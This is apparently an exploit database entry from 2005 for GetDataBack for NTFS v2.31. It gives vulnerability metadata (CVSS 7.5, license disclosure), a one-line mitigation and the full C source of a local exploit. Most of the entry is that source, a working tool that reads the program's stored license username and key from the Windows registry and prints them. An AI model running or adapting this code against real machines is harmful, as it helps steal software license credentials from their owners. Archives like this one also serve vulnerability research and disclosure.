GetDataBack for NTFS v2.31 Local Exploit

vendor:

GetDataBack for NTFS

by:

Kozan

7.5

CVSS

HIGH

Disclosure of License Information

200

CWE

Product Name: GetDataBack for NTFS

Affected Version From: 2.31

Affected Version To: 2.31

Patch Exists: NO

Related CWE:

CPE: a:runtime_software:getdataback_for_ntfs:2.31

Metasploit:

Other Scripts:

Platforms Tested: Windows

2005

GetDataBack for NTFS v2.31 Local Exploit

The application GetDataBack for NTFS v2.31 discloses license information (username and key) to local users.

Mitigation:

Upgrade to a newer version of GetDataBack for NTFS.

Source

Exploit-DB raw data:

/*****************************************************************

GetDataBack for NTFS v2.31 Local Exploit by Kozan

Application: GetDataBack for NTFS v2.31
Vendor: www.runtime.org - Runtime Software
Vulnerable Description: GetDataBack for NTFS v2.31 discloses licence
informaations ( username and key ) to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char username[BUFSIZE], key[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Runtime
Software\\GetDataBackNT\\License",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "Name", NULL, NULL,(LPBYTE) username,
&dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}

lRet = RegQueryValueEx( hKey, "Key", NULL, NULL,(LPBYTE) key, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}
RegCloseKey( hKey );

printf("GetDataBack for NTFS v2.31 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
printf("Username: %s\n",username);
printf("Key : %s\n",key);

}
else{
printf("GetDataBack for NTFS v2.31 is not installed on your system!\n");
}

return 0;
}

// milw0rm.com [2005-04-04]